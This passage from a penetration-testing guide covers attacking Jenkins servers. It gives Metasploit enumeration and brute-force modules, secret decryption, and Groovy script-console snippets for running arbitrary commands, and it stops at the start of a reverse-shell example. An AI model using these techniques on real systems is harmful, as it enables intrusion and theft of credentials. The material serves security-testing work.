Jenkins offers a simple way to set up a continuous integration or continuous delivery (CI/CD) environment for almost any combination of languages and source code repositories using pipelines, as well as automating other routine development tasks. While Jenkins doesn’t eliminate the need to create scripts for individual steps, it does give you a faster and more robust way to integrate your entire chain of build, test, and deployment tools than you can easily build yourself.
Definition from here.
Unauthenticated Enumeration
In order to search for interesting Jenkins pages without authentication like (/people or /asynchPeople, this lists the current users) you can use:
1
msf> use auxiliary/scanner/http/jenkins_enum
Copied!
Check if you can execute commands without needing authentication:
1
msf> use auxiliary/scanner/http/jenkins_command
Copied!
Without credentials you can look inside /asynchPeople/ path or /securityRealm/user/admin/search/index?q= for usernames.
You may be able to get the Jenkins version from the path /oops or /error
Login
You will be able to find Jenkins instances that allow you to create an account and login inside of it. As simple as that.
Also if SSOfunctionality/plugins were present then you should attempt to log-in to the application using a test account (i.e., a test Github/Bitbucket account). Trick from here.
Bruteforce
Jekins does not implement any password policy or username brute-force mitigation. Then, you should always try to brute-force users because probably weak passwords are being used (even usernames as passwords or reverse usernames as passwords).
1
msf> use auxiliary/scanner/http/jenkins_login
Copied!
Jenkins Abuses
Known Vulnerabilities
GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers
GitHub
Dumping builds to find cleartext secrets
Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.
Use this script to decrypt previsously dumped secrets.
Decrypt Jenkins secrets from Groovy
1
println(hudson.util.Secret.decrypt("{...}"))
Copied!
Code Execution
Create a new project
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
1.
Create a new project (Freestyle project)
2.
Inside Build section set Execute shell and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using unicorn). Start the payload with PowerShell.exe instead using powershell.
3.
Click Build now
Go to the projects and check if you can configure any of them (look for the "Configure button"):
Or try to access to the path _/configure_ in each project (example: /me/my-views/view/all/job/Project0/configure).
If you are allowed to configure the project you can make it execute commands when a build is successful:
Click on Save and build the project and your command will be executed.
If you are not executing a reverse shell but a simple command you can see the output of the command inside the output of the build.
Execute Groovy script
Best way. Less noisy.
1.
Go to path_jenkins/script
2.
Inside the text box introduce the script
1
def process ="PowerShell.exe <WHATEVER>".execute()
2
println "Found text ${process.text}"
Copied!
You could execute a command using: cmd.exe /c dir
In linux you can do: "ls /".execute().text
If you need to use quotes and single quotes inside the text. You can use """PAYLOAD""" (triple double quotes) to execute the payload.
Another useful groovy script is (replace [INSERT COMMAND]):
1
def sout = new StringBuffer(), serr = new StringBuffer()
2
def proc ='[INSERT COMMAND]'.execute()
3
proc.consumeProcessOutput(sout, serr)
4
proc.waitForOrKill(1000)
5
println "out> $sout err> $serr"
Copied!
Reverse shell in linux
1
def sout = new StringBuffer(), serr = new StringBuffer()